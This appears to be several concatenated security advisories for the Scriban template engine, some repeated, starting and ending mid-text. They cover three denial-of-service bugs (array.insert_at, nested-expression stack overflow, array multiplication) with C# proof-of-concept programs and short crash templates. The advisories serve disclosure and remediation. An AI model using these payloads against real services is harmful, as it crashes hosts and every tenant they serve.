• Severity: CVSS 4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N = 8.7 (High) — the same vector and score GitHub/Scriban assigned to the sibling advisory GHSA-24c8-4792-22hx. CVSS 3.1 equivalent AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High).
• Who is impacted: any application that renders a template whose text is wholly or partially attacker-controlled (the documented server-side template scenario), or that passes attacker-controlled strings to object.eval / object.eval_template. No MemberFilter interaction is required — this is a pure language operation.
• Outcome (deployment-dependent, stated honestly): On systems with sufficient memory, the runtime catches the allocation failure and the host sees a ScriptRuntimeException wrapping OutOfMemoryException (or ArgumentOutOfRangeException on the integer-overflow path) — recoverable per request. On systems where the multi-GB allocation exceeds available memory, the OS OOM-killer can terminate the process before the managed exception fires (this outcome is deployment-dependent and was not reproduced in our 20 GB + swap test environment). In all cases, a ~40-byte template forces a multi-GB allocation and seconds of pegged CPU/GC — a real per-request availability degradation and resource amplification.
• Why the existing mitigation does not help: LoopLimit (default 1000) is the documented control for unbounded iteration/allocation, but the array * int path never consults it, so a defender running default configuration is not protected.
• Affected versions: 3.0.0 – 7.2.0 (every release containing the array * int operator). 2.1.4 and earlier are not affected.

Suggested remediation

Apply the same hardening already used on the sibling operations, in ScriptArray.cs (Multiply case, :504-508):

• Mirror array.insert_at: call context.StepLoop(span, ref loopStep) inside the fill loop so LoopLimit is enforced; or
• Mirror string * int: pre-check the result size with overflow-safe arithmetic before allocating, e.g. if (context.LimitToString > 0 && (long)intModifier * array.Count > context.LimitToString) throw new ScriptRuntimeException(...), and compute the capacity as long (or reject negative/overflowing products) to remove the integer-overflow path.

Add a regression test that asserts a graceful ScriptRuntimeException for a large multiplier (e.g. [1,2,3,4,5] * 50000000) rather than allowing the allocation to proceed.

Summary

ArrayFunctions.InsertAt in Scriban allocates index - list.Count null entries in a tight C# for loop with no bound on index. The function is exposed to template authors as array.insert_at, and the fill loop ignores every existing safety control: LoopLimit, LimitToString, ObjectRecursionLimit, and RecursiveLimit. A single template such as {{ [1] | array.insert_at 200000000 'x' | array.size }} causes OutOfMemoryException in well under a second on a host with 1 GB of memory, even when LoopLimit is set to 10 and LimitToString is set to 100. Because OutOfMemoryException is generally not caught by the template renderer or by typical host applications, the vulnerability terminates the host process, not just the template.

This is a sibling vector to GHSA-xw6w-9jjh-p9cr / GHSA-c875-h985-hvrc / GHSA-v66j-x4hw-fv9g, which patched comparable unbounded primitives in string * int, array.size, array.join, string.pad_left, and string.pad_right. The 7.0.0 hardening pass (dde661d "Apply LoopLimit to internal iteration paths" and 4227fde "Harden string padding width limits") swept the equivalent loops in ArrayFunctions and StringFunctions but missed InsertAt.

Details

Reproducible in 7.1.0 (latest tag) and on master at c8094b0.

src/Scriban/Functions/ArrayFunctions.cs:369-386:

public static IEnumerable InsertAt(IEnumerable? list, int index, object? value)
{
    if (index < 0)
    {
        index = 0;
    }

    var array = list is null ? new ScriptArray() : new ScriptArray(list);
    // Make sure that the list has already inserted elements before the index
    for (int i = array.Count; i < index; i++)
    {
        array.Add(null);            // <-- unbounded fill, no StepLoop, no Limit*
    }

    array.Insert(index, value);

    return array;
}

The function is registered as the template builtin array.insert_at (array.fmt-cs and the standard ArrayFunctions ScriptObject reflection registration). It is invoked from a template like [1] | array.insert_at 999999999 "x".

Three properties combine to make this exploitable:

1. There is no context-aware overload. Comparable amplification primitives in this same file received a (TemplateContext, SourceSpan, ...) overload that calls StepLoop per iteration (AddRange, Compact, Concat, Last, Limit, Offset, Reverse, Size, Sort, Uniq, Contains, Each, Filter, Join, Map, Any -- see commit dde661d). InsertAt was not given that treatment. The single IEnumerable, int, object signature is what the engine resolves to, so no host configuration changes its behaviour.

2. The loop itself never consults context.LoopLimit, context.LimitToString, context.RecursiveLimit, or context.ObjectRecursionLimit. There is no upstream call into context.StepLoop, context.CheckAbort, or any guard. With index = 200_000_000, the C# loop calls ScriptArray.Add(null) 200 million times on a List<object> whose capacity doubles geometrically; the JIT-compiled tight loop reaches the .NET array allocator faster than the GC can keep up.

3. OutOfMemoryException is the actual failure mode. Per Microsoft, OutOfMemoryException and friends are not reliably catchable by user code in production CLR runtimes; even when they are caught, large background allocations and triggered GC cycles leave the process in a degraded state. In the PoC below, the renderer wraps the OOM in a ScriptRuntimeException because the underlying allocation lands inside the renderer's try block, but on hosts that allocate the array slightly differently (e.g. tighter memory cap, server GC, or higher index value than the host has memory for) the bare OutOfMemoryException propagates and crashes the AppDomain.

The pattern that matches the existing fixes is to add a context-aware overload that validates index against LoopLimit (or LimitToString for the resulting array footprint) before the fill loop runs, and to mark the unsafe overload [ScriptMemberIgnore]:

[ScriptMemberIgnore]
public static IEnumerable InsertAt(IEnumerable list, int index, object value) { /* current body */ }

public static IEnumerable InsertAt(TemplateContext context, SourceSpan span, IEnumerable list, int index, object value)
{
    if (index < 0) index = 0;
    if (context.LoopLimit > 0 && index > context.LoopLimit)
    {
        throw new ScriptRuntimeException(span,
            $"array.insert_at index `{index}` exceeds LoopLimit `{context.LoopLimit}`.");
    }
    return InsertAt(list, index, value);
}

Same pattern as ArrayFunctions.AddRange, Compact, Concat, Last, Limit, etc., introduced by dde661d, and as StringFunctions.PadLeft/PadRight introduced by 4227fde.

PoC

Standalone .NET 9 console app referencing Scriban 7.1.0 from NuGet.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net9.0</TargetFramework>
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.1.0" />
  </ItemGroup>
</Project>

Program.cs:

using System;
using System.Diagnostics;
using Scriban;

class Program
{
    static void Run(string title, string template, int loopLimit, int limitToString, int timeoutSec)
    {
        Console.WriteLine($"\n=== {title} ===");
        var ctx = new TemplateContext { LoopLimit = loopLimit, LimitToString = limitToString };
        var tpl = Template.Parse(template);
        var sw = Stopwatch.StartNew();
        try
        {
            var task = System.Threading.Tasks.Task.Run(() => tpl.Render(ctx));
            if (!task.Wait(TimeSpan.FromSeconds(timeoutSec)))
            {
                Console.WriteLine($"  TIMEOUT after {timeoutSec}s -- DoS confirmed");
                return;
            }
            Console.WriteLine($"  output={task.Result?.Length} chars in {sw.Elapsed.TotalSeconds:F2}s");
        }
        catch (AggregateException ex)
        {
            Console.WriteLine($"  EXCEPTION ({sw.Elapsed.TotalSeconds:F2}s): {ex.InnerException?.GetType().Name}: " +
                              $"{ex.InnerException?.Message?.Split('\n')[0]}");
        }
    }

    static void Main()
    {
        // Baseline: small index renders normally.
        Run("baseline",
            "{{ ([1] | array.insert_at 5 'x' | array.size) }}",
            loopLimit: 1000, limitToString: 1048576, timeoutSec: 5);

        // Exploit: 200M index. LoopLimit=10 and LimitToString=100 do NOT protect.
        Run("DoS via array.insert_at index=200_000_000",
            "{{ [1] | array.insert_at 200000000 'x' | array.size }}",
            loopLimit: 10, limitToString: 100, timeoutSec: 30);

        // Exploit: int.MaxValue.
        Run("DoS via array.insert_at index=int.MaxValue",
            "{{ [1] | array.insert_at 2147483647 'x' | array.size }}",
            loopLimit: 10, limitToString: 100, timeoutSec: 15);
    }
}

Build and run inside a memory-capped Docker container so the OOM is actual, not theoretical:

docker run --rm -v "$PWD":/app -w /app -m 1g mcr.microsoft.com/dotnet/sdk:9.0 \
    dotnet run -c Release

Observed output:

=== baseline ===
  output=1 chars in 0.01s

=== DoS via array.insert_at index=200_000_000 ===
  EXCEPTION (0.68s): ScriptRuntimeException: <input>(1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown.

=== DoS via array.insert_at index=int.MaxValue ===
  EXCEPTION (0.52s): ScriptRuntimeException: <input>(1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown.

Two observations:

• The exploit triggers in roughly 600 ms inside a 1 GB container. Increasing the host memory simply moves the OOM threshold; the malicious template still wedges the process for the duration of the allocation and the resulting GC pressure, which is itself a denial of service even when the OOM is suppressed.
• Setting LoopLimit = 10 and LimitToString = 100 (effectively the most paranoid tuning a host could pick) makes no difference. The fill loop is in compiled C#, never goes through StepLoop, and the result is a ScriptArray, not a string, so LimitToString is never consulted.

Impact

Denial of service against any host that renders attacker-controlled or attacker-influenced Scriban templates. This includes the canonical Scriban use cases the README itself lists -- email templating, report templating, in-CMS templating, and Statiq-style static site generators where the template content is part of the data ingested. A single one-line template payload is enough to either OOM the process outright (when the host gives the renderer enough memory headroom for the loop to actually finish) or to wedge the process for tens of seconds while the allocator and GC fight (when memory is tight). On ASP.NET hosts using app.UseScriban-style middleware or background workers running per-tenant templates, the OOM terminates the entire process, taking down all tenants.

Severity is consistent with the four DoS GHSAs already published against Scriban (GHSA-xw6w-9jjh-p9cr High 7.5, GHSA-c875-h985-hvrc High 7.5, GHSA-v66j-x4hw-fv9g High 7.5, GHSA-m2p3-hwv5-xpqw High 7.5). The attack vector, complexity, and impact are identical: network reachable, low complexity, no privileges, no user interaction, full availability impact, no confidentiality or integrity impact. CVSS 4.0 vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (High, 8.7).

Summary

The ExpressionDepthLimit parser guard in Scriban does not actually stop parsing — it only logs a non-fatal error and lets recursive descent continue. As a result, a template containing a deeply nested expression (parentheses, array initializers, object initializers, or unary operators) drives the recursive-descent parser into a native stack overflow. The resulting StackOverflowException is uncatchable in .NET and immediately terminates the host process.

Any application that parses an attacker-influenced template — or that passes attacker-controlled strings to object.eval / object.eval_template — can be crashed by a single small request (roughly an 8 KB payload). This is a denial-of-service. It affects both Scriban-native (Template.Parse) and Liquid (Template.ParseLiquid) syntax modes, which share the same expression parser.

This re-opens two advisories that were reported as fixed: GHSA-wgh7-7m3c-fx25 ("Uncontrolled recursion in parser → StackOverflow", reported fixed in 6.6.0) and GHSA-p6q4-fgr8-vx4p ("StackOverflow via nested array initializers bypasses ExpressionDepthLimit", reported fixed in 7.0.0). Both fixes are incomplete: the limit they rely on never halts recursion. All releases 6.6.0 through 7.2.0 (current) are affected.

Details

The depth guard is EnterExpression() in src/Scriban/Parsing/Parser.Expressions.cs:

// src/Scriban/Parsing/Parser.Expressions.cs:1209-1218
private void EnterExpression()
{
    _expressionDepth++;
    var limit = Options.ExpressionDepthLimit;
    if (limit > 0 && !_isExpressionDepthLimitReached && _expressionDepth > limit)
    {
        LogError(GetSpanForToken(Previous), $"The statement depth limit `{limit}` was reached when parsing this statement");
        _isExpressionDepthLimitReached = true;
    }
}

When the limit is exceeded it calls LogError(...) and sets a flag. It does not throw, does not return a sentinel, and does not unwind the parse. LogError here uses the default isFatal: false, so it merely appends a message and sets HasErrors — parsing proceeds:

// src/Scriban/Parsing/Parser.cs:476-488
private void Log(LogMessage logMessage, bool isFatal = false)
{
    Messages.Add(logMessage);
    if (logMessage.Type == ParserMessageType.Error)
    {
        HasErrors = true;
        if (isFatal) _hasFatalError = true;   // not set on the depth-limit path
    }
}

The flag _isExpressionDepthLimitReached is consulted only to avoid logging the same error more than once — no code path uses it to stop descending. Confirmed by full-repo search (grep -rn "_isExpressionDepthLimitReached" src/): it appears in exactly four places — the field declaration (Parser.cs:40), a reset to false (Parser.cs:106), and within EnterExpression the dedup test (Parser.Expressions.cs:1213) and its assignment to true (:1216). The only read is the dedup test on line 1213; nothing else reads it. ParseExpression calls EnterExpression() and then continues straight into the token switch with no flag check:

// src/Scriban/Parsing/Parser.Expressions.cs:113 + 181-182
EnterExpression();
try
{
    ...
    case TokenType.OpenParen:
        leftOperand = ParseParenthesis();   // recurses back into ParseExpression

// src/Scriban/Parsing/Parser.Expressions.cs:984-1001
private ScriptExpression ParseParenthesis()
{
    var expression = Open<ScriptNestedExpression>();
    ExpectAndParseTokenTo(expression.OpenParen, TokenType.OpenParen);
    expression.Expression = ExpectAndParseExpression(expression);  // -> ParseExpression -> ParseParenthesis -> ...
    ...
}

Both Template.Parse (Scriban-native) and Template.ParseLiquid (Liquid-compatibility) front-ends share this same expression parser, so both entry points are affected.

So for input nested N levels deep, the parser recurses N levels deep regardless of ExpressionDepthLimit. There is no RuntimeHelpers.EnsureSufficientExecutionStack() call and no absolute recursion cap anywhere in the parser. Once the native thread stack is exhausted, the runtime raises StackOverflowException, which .NET does not allow to be caught and which tears down the entire process. The number of nesting levels required to overflow depends on the platform's thread-stack size (empirically around 4,000 levels on a default 1 MB stack); it is not a configurable mitigation.

The same defective guard is what makes the array-initializer fix for GHSA-p6q4-fgr8-vx4p ineffective: ParseArrayInitializer was wrapped in EnterExpression()/LeaveExpression(), but because EnterExpression() only logs, the array path still overflows.

The existing regression tests only assert HasErrors == true at a nesting depth of ~20 with a limit of 10 (src/Scriban.Tests/TestParser.cs); they never use a depth large enough to overflow the stack, so they pass while the protection does nothing against the actual DoS.

Runtime reachability without template injection: object.eval / object.eval_template (src/Scriban/Functions/ObjectFunctions.cs:72-155) re-parse a string argument at render time using Template.Parse(...). An application whose own templates are fully trusted is still vulnerable if any user-controlled value flows into object.eval. The catch (Exception) inside Eval cannot intercept the StackOverflowException.

PoC

A single console project reproduces it on the released NuGet package.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. -->
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.2.0" />
  </ItemGroup>
</Project>

Program.cs:

using Scriban;

int n = 8000; // ~8 KB template; 8000 reliably overflows a default 1 MB thread stack
string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";

System.Console.WriteLine($"Parsing template with {n} nested parentheses (default ParserOptions)...");
Template.Parse(tpl);                 // <-- process is killed here
System.Console.WriteLine("Parse returned without crashing"); // never reached

Run:

dotnet run -c Release

Observed output (process aborts; shell exit code 134 = SIGABRT):

Parsing template with 8000 nested parentheses (default ParserOptions)...
Stack overflow.
   at Scriban.Parsing.Parser.ParseParenthesis()
   at Scriban.Parsing.Parser.ParseExpression(...)
   at Scriban.Parsing.Parser.ExpectAndParseExpression(...)
   at Scriban.Parsing.Parser.ParseParenthesis()
   ... (repeats until the stack is exhausted)

Additional confirmations (same crash / exit 134), substituting the template body in Program.cs:

The explicit limit is ignored — still crashes:

Template.Parse(tpl, parserOptions: new ParserOptions { ExpressionDepthLimit = 10 });

Array initializers (the GHSA-p6q4 path):

string tpl = "{{ " + new string('[', n) + "1" + new string(']', n) + " }}";
Template.Parse(tpl);  // crashes identically

Object initializers {x:{x:...{x:1}...}}:

var b = new System.Text.StringBuilder();
for (int i = 0; i < n; i++) b.Append("{x:");
b.Append('1');
b.Append('}', n);
Template.Parse("{{ " + b + " }}");  // crashes identically

Unary operators:

string tpl = "{{ " + new string('!', n) + "true" + " }}";
Template.Parse(tpl);  // crashes identically

Liquid syntax mode (shares the same expression parser):

string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";
Template.ParseLiquid(tpl);  // crashes identically

Runtime via object.eval, with a fully trusted outer template — verified end-to-end: the outer parse reports HasErrors == false, then Render() crashes the process and the surrounding try/catch never fires (the StackOverflowException is uncatchable):

using Scriban;

int n = 8000;
string deep = new string('(', n) + "1" + new string(')', n);
string outer = "{{ \"" + deep + "\" | object.eval }}";

System.Console.WriteLine($"Outer template length = {outer.Length} chars.");
var t = Template.Parse(outer);
System.Console.WriteLine($"Outer parsed. HasErrors = {t.HasErrors}");
System.Console.WriteLine("Rendering (object.eval re-parses the inner string at runtime)...");
try
{
    t.Render();
    System.Console.WriteLine("Render returned without crashing");
}
catch (System.Exception e)
{
    System.Console.WriteLine($"Caught {e.GetType().Name} (note: StackOverflowException cannot be caught)");
}

Verified against clean NuGet installs of Scriban 6.6.0, 7.0.0, 7.1.0, and 7.2.0 (net8.0, .NET 9 runtime, Linux). A control template with depth 200 parses normally (HasErrors == false, no crash).

Impact

• Type: Denial of service via uncontrolled recursion (CWE-674) leading to an uncatchable StackOverflowException and full process termination.
• Severity: CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High) — the same vector and score as both prior advisories it re-opens (GHSA-wgh7-7m3c-fx25 and GHSA-p6q4-fgr8-vx4p, each scored 7.5 High with the identical AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H vector). The score reflects the library boundary, where no privileges are required to parse a template; the privilege actually needed in a given deployment depends on how that application exposes template input.
• Who is impacted: Any application that calls Template.Parse / Template.ParseLiquid (or Template.Render on an unparsed source) on template text that is wholly or partially attacker-controlled — the documented server-side template scenario — and any application that passes attacker-controlled strings to object.eval / object.eval_template, even when its own templates are trusted.
• Why the existing mitigation does not help: ExpressionDepthLimit (default 250) is advisory only; it records a parse error but does not stop recursion, so it cannot prevent the stack overflow. Because the exception is a StackOverflowException, callers cannot defend with try/catch either — the process is lost.
• Affected versions: 6.6.0 – 7.2.0 (all versions shipping the depth-limit guard). Versions before 6.6.0 are vulnerable to the original unbounded-recursion condition.

Suggested remediation: make the limit actually stop descent — e.g. throw a parse exception from EnterExpression() when the limit is exceeded (or log with isFatal: true and have the parse loop honor _hasFatalError by unwinding). As defense in depth, call RuntimeHelpers.EnsureSufficientExecutionStack() at the entry of ParseExpression (the same technique already used in object.to_json), and add a regression test at a depth that overflows without the fix (e.g. 100,000), asserting a graceful exception rather than only checking HasErrors at depth 20.

Summary

The array multiplication operator (array * integer) in Scriban allocates a result whose size is the product of the attacker-controlled integer and the array length, with no LoopLimit / LimitToString check and no overflow-safe arithmetic. A ~40-byte template forces a multi-gigabyte allocation, producing a denial-of-service.

This is the unguarded sibling of operations that were hardened against the same class of abuse: string * integer (gated by a LimitToString pre-check), array.insert_at (gated by StepLoop/LoopLimit — the GHSA-24c8-4792-22hx fix shipped in 7.2.0, scored 8.7 High), and the range/iteration paths covered by GHSA-c875-h985-hvrc ("Built-in operations bypass LoopLimit", fixed 7.0.0). The same LoopLimit-based hardening pattern was applied to those operations but never to array * integer.

This can be observed directly in 7.0.0, the release where GHSA-c875 was patched: (1..5) * 50000000 (and 1..N | array.size) correctly throws Exceeding number of iteration limit '1000', while [1,2,3,4,5] * 50000000 allocates ~2 GB with no limit. The LoopLimit control is enforced on the iteration path but not on the array * int allocation path, side by side, in the same version. The bug has been present since the operator was introduced in 3.0.0, survives all of the 6.6.0 / 7.0.0 / 7.2.0 DoS-hardening passes, and is still present in 7.2.0 (current) — i.e. it is both a missed sibling of GHSA-24c8 and an incomplete coverage of GHSA-c875's LoopLimit hardening.

Details

The array * int operator is handled in ScriptArray<T>.TryEvaluate:

// src/Scriban/Runtime/ScriptArray.cs:504-508  (Multiply case)
var newArray = new ScriptArray<T>(intModifier * array.Count);
for (int i = 0; i < intModifier; i++)
{
    newArray.AddRange(array);
}

intModifier is the attacker-supplied integer (context.ToInt(...), ScriptArray.cs:399). Two problems:

1. No resource limit. Neither new ScriptArray<T>(intModifier * array.Count) nor the AddRange loop consults LoopLimit, LimitToString, or calls context.StepLoop(...). A grep of the entire TryEvaluate method (ScriptArray.cs:360-560) finds no StepLoop / LoopLimit / Limit reference. LoopLimit (default 1000) is therefore not enforced: a template that requests 250,000,000 elements creates them all without any "iteration limit" error.

2. Integer overflow in the capacity. intModifier * array.Count is unchecked int arithmetic. The overflow-safe long cast used by the string sibling is absent here.

The DoS-hardening passes guarded the two sibling operations but not this one:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:341  (string * int — GUARDED)
if (context.LimitToString > 0 && value > 0 && leftText.Length > 0
        && (long)leftText.Length * value > context.LimitToString)   // long arithmetic, pre-check
{
    throw new ScriptRuntimeException(spanMultiplier, $"String multiplication exceeds LimitToString `{context.LimitToString}`.");
}

// src/Scriban/Functions/ArrayFunctions.cs:414  (array.insert_at — GUARDED, GHSA-24c8 fix in 7.2.0)
for (int i = array.Count; i < index; i++)
{
    context.StepLoop(span, ref loopStep);   // LoopLimit enforced
    array.Add(null);
}

array * int (ScriptArray.cs:504) received neither guard.

When the oversized allocation fails as a managed exception, it is wrapped by the binary-expression evaluator:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:241-243
catch (Exception ex) when (!(ex is ScriptRuntimeException))
{
    throw new ScriptRuntimeException(span, ex.Message);
}

So a host that wraps Render() in try/catch sees a ScriptRuntimeException carrying the original OutOfMemoryException message (or ArgumentOutOfRangeException on the integer-overflow path).

PoC

A single console project reproduces it on the released NuGet package.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. -->
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.2.0" />
  </ItemGroup>
</Project>

Program.cs:

using Scriban;

// ~41-byte template requests 5 * 200,000,000 = 1,000,000,000 elements
string tpl = "{{ x = [1,2,3,4,5] * 200000000; x.size }}";

System.Console.WriteLine("Rendering...");
var sw = System.Diagnostics.Stopwatch.StartNew();
var result = Template.Parse(tpl).Render();           // allocates ~7.7 GB
System.Console.WriteLine($"size={result.Trim()} peakWS="
    + System.Diagnostics.Process.GetCurrentProcess().PeakWorkingSet64 / (1024 * 1024)
    + "MB elapsed=" + sw.ElapsedMilliseconds + "ms");

Run:

dotnet run -c Release

Measured peak working set on Scriban 7.2.0 (net8.0, .NET 9 runtime, Linux), varying only the multiplier:

| Multiplier | template size | elements | peak working set | |---|---|---|---| | 100,000 | 38 B | 500K | 49 MB (not a DoS) | | 50,000,000 | 40 B | 250M | 1,958 MB | | 200,000,000 | 41 B | 1B | 7,681 MB | | 400,000,000 | 41 B | 2B | 15,313 MB | | 429,496,730 | 41 B | — | integer overflow in intModifier * array.Count → wrapped ArgumentOutOfRangeException |

LoopLimit (default 1000) is demonstrably not enforced: 250,000,000 elements are created with no "iteration limit" error. Reproduced identically on released NuGet 6.6.0, 7.0.0, 7.1.0, and 7.2.0, and on 3.0.0, 4.0.0, 5.0.0, 5.10.0, 6.0.0, 6.2.1, 6.5.8 (~2 GB at multiplier 50,000,000). Version 2.1.4 and earlier are NOT affected — the operator did not exist (Unable to convert type ScriptArray to int).

Impact

• Type: Denial of service via uncontrolled memory allocation (CWE-789 / CWE-1284). The result size is intModifier * array.Count, attacker-controlled, with no limit and no overflow-safe arithmetic.
• Severity: CVSS 4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N = 8.7 (High) — the same vector and score GitHub/Scriban assigned to the sibling advisory GHSA-24c8-4792-22hx. CVSS 3.1 equivalent AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High).
• Who is impacted: any application that renders a template whose text is wholly or partially attacker-controlled (the documented server-side template scenario), or that passes attacker-controlled strings to object.eval / object.eval_template. No MemberFilter interaction is required — this is a pure language operation.
• Outcome (deployment-dependent, stated honestly): On systems with sufficient memory, the runtime catches the allocation failure and the host sees a ScriptRuntimeException wrapping OutOfMemoryException (or ArgumentOutOfRangeException on the integer-overflow path) — recoverable per request. On systems where the multi-GB allocation exceeds available memory, the OS OOM-killer can terminate the process before the managed exception fires (this outcome is deployment-dependent and was not reproduced in our 20 GB + swap test environment). In all cases, a ~40-byte template forces a multi-GB allocation and seconds of pegged CPU/GC — a real per-request availability degradation and resource amplification.
• Why the existing mitigation does not help: LoopLimit (default 1000) is the documented control for unbounded iteration/allocation, but the array * int path never consults it, so a defender running default configuration is not protected.
• Affected versions: 3.0.0 – 7.2.0 (every release containing the array * int operator). 2.1.4 and earlier are not affected.

Suggested remediation

Apply the same hardening already used on the sibling operations, in ScriptArray.cs (Multiply case, :504-508):

• Mirror array.insert_at: call context.StepLoop(span, ref loopStep) inside the fill loop so LoopLimit is enforced; or
• Mirror string * int: pre-check the result size with overflow-safe arithmetic before allocating, e.g. if (context.LimitToString > 0 && (long)intModifier * array.Count > context.LimitToString) throw new ScriptRuntimeException(...), and compute the capacity as long (or reject negative/overflowing products) to remove the integer-overflow path.

Add a regression test that asserts a graceful ScriptRuntimeException for a large multiplier (e.g. [1,2,3,4,5] * 50000000) rather than allowing the allocation to proceed.

Summary

ArrayFunctions.InsertAt in Scriban allocates index - list.Count null entries in a tight C# for loop with no bound on index. The function is exposed to template authors as array.insert_at, and the fill loop ignores every existing safety control: LoopLimit, LimitToString, ObjectRecursionLimit, and RecursiveLimit. A single template such as {{ [1] | array.insert_at 200000000 'x' | array.size }} causes OutOfMemoryException in well under a second on a host with 1 GB of memory, even when LoopLimit is set to 10 and LimitToString is set to 100. Because OutOfMemoryException is generally not caught by the template renderer or by typical host applications, the vulnerability terminates the host process, not just the template.

This is a sibling vector to GHSA-xw6w-9jjh-p9cr / GHSA-c875-h985-hvrc / GHSA-v66j-x4hw-fv9g, which patched comparable unbounded primitives in string * int, array.size, array.join, string.pad_left, and string.pad_right. The 7.0.0 hardening pass (dde661d "Apply LoopLimit to internal iteration paths" and 4227fde "Harden string padding width limits") swept the equivalent loops in ArrayFunctions and StringFunctions but missed InsertAt.

Details

Reproducible in 7.1.0 (latest tag) and on master at c8094b0.

src/Scriban/Functions/ArrayFunctions.cs:369-386:

public static IEnumerable InsertAt(IEnumerable? list, int index, object? value)
{
    if (index < 0)
    {
        index = 0;
    }

    var array = list is null ? new ScriptArray() : new ScriptArray(list);
    // Make sure that the list has already inserted elements before the index
    for (int i = array.Count; i < index; i++)
    {
        array.Add(null);            // <-- unbounded fill, no StepLoop, no Limit*
    }

    array.Insert(index, value);

    return array;
}

The function is registered as the template builtin array.insert_at (array.fmt-cs and the standard ArrayFunctions ScriptObject reflection registration). It is invoked from a template like [1] | array.insert_at 999999999 "x".

Three properties combine to make this exploitable:

1. There is no context-aware overload. Comparable amplification primitives in this same file received a (TemplateContext, SourceSpan, ...) overload that calls StepLoop per iteration (AddRange, Compact, Concat, Last, Limit, Offset, Reverse, Size, Sort, Uniq, Contains, Each, Filter, Join, Map, Any -- see commit dde661d). InsertAt was not given that treatment. The single IEnumerable, int, object signature is what the engine resolves to, so no host configuration changes its behaviour.

2. The loop itself never consults context.LoopLimit, context.LimitToString, context.RecursiveLimit, or context.ObjectRecursionLimit. There is no upstream call into context.StepLoop, context.CheckAbort, or any guard. With index = 200_000_000, the C# loop calls ScriptArray.Add(null) 200 million times on a List<object> whose capacity doubles geometrically; the JIT-compiled tight loop reaches the .NET array allocator faster than the GC can keep up.

3. OutOfMemoryException is the actual failure mode. Per Microsoft, OutOfMemoryException and friends are not reliably catchable by user code in production CLR runtimes; even when they are caught, large background allocations and triggered GC cycles leave the process in a degraded state. In the PoC below, the renderer wraps the OOM in a ScriptRuntimeException because the underlying allocation lands inside the renderer's try block, but on hosts that allocate the array slightly differently (e.g. tighter memory cap, server GC, or higher index value than the host has memory for) the bare OutOfMemoryException propagates and crashes the AppDomain.

The pattern that matches the existing fixes is to add a context-aware overload that validates index against LoopLimit (or LimitToString for the resulting array footprint) before the fill loop runs, and to mark the unsafe overload [ScriptMemberIgnore]:

[ScriptMemberIgnore]
public static IEnumerable InsertAt(IEnumerable list, int index, object value) { /* current body */ }

public static IEnumerable InsertAt(TemplateContext context, SourceSpan span, IEnumerable list, int index, object value)
{
    if (index < 0) index = 0;
    if (context.LoopLimit > 0 && index > context.LoopLimit)
    {
        throw new ScriptRuntimeException(span,
            $"array.insert_at index `{index}` exceeds LoopLimit `{context.LoopLimit}`.");
    }
    return InsertAt(list, index, value);
}

Same pattern as ArrayFunctions.AddRange, Compact, Concat, Last, Limit, etc., introduced by dde661d, and as StringFunctions.PadLeft/PadRight introduced by 4227fde.

PoC

Standalone .NET 9 console app referencing Scriban 7.1.0 from NuGet.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net9.0</TargetFramework>
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.1.0" />
  </ItemGroup>
</Project>

Program.cs:

using System;
using System.Diagnostics;
using Scriban;

class Program
{
    static void Run(string title, string template, int loopLimit, int limitToString, int timeoutSec)
    {
        Console.WriteLine($"\n=== {title} ===");
        var ctx = new TemplateContext { LoopLimit = loopLimit, LimitToString = limitToString };
        var tpl = Template.Parse(template);
        var sw = Stopwatch.StartNew();
        try
        {
            var task = System.Threading.Tasks.Task.Run(() => tpl.Render(ctx));
            if (!task.Wait(TimeSpan.FromSeconds(timeoutSec)))
            {
                Console.WriteLine($"  TIMEOUT after {timeoutSec}s -- DoS confirmed");
                return;
            }
            Console.WriteLine($"  output={task.Result?.Length} chars in {sw.Elapsed.TotalSeconds:F2}s");
        }
        catch (AggregateException ex)
        {
            Console.WriteLine($"  EXCEPTION ({sw.Elapsed.TotalSeconds:F2}s): {ex.InnerException?.GetType().Name}: " +
                              $"{ex.InnerException?.Message?.Split('\n')[0]}");
        }
    }

    static void Main()
    {
        // Baseline: small index renders normally.
        Run("baseline",
            "{{ ([1] | array.insert_at 5 'x' | array.size) }}",
            loopLimit: 1000, limitToString: 1048576, timeoutSec: 5);

        // Exploit: 200M index. LoopLimit=10 and LimitToString=100 do NOT protect.
        Run("DoS via array.insert_at index=200_000_000",
            "{{ [1] | array.insert_at 200000000 'x' | array.size }}",
            loopLimit: 10, limitToString: 100, timeoutSec: 30);

        // Exploit: int.MaxValue.
        Run("DoS via array.insert_at index=int.MaxValue",
            "{{ [1] | array.insert_at 2147483647 'x' | array.size }}",
            loopLimit: 10, limitToString: 100, timeoutSec: 15);
    }
}

Build and run inside a memory-capped Docker container so the OOM is actual, not theoretical:

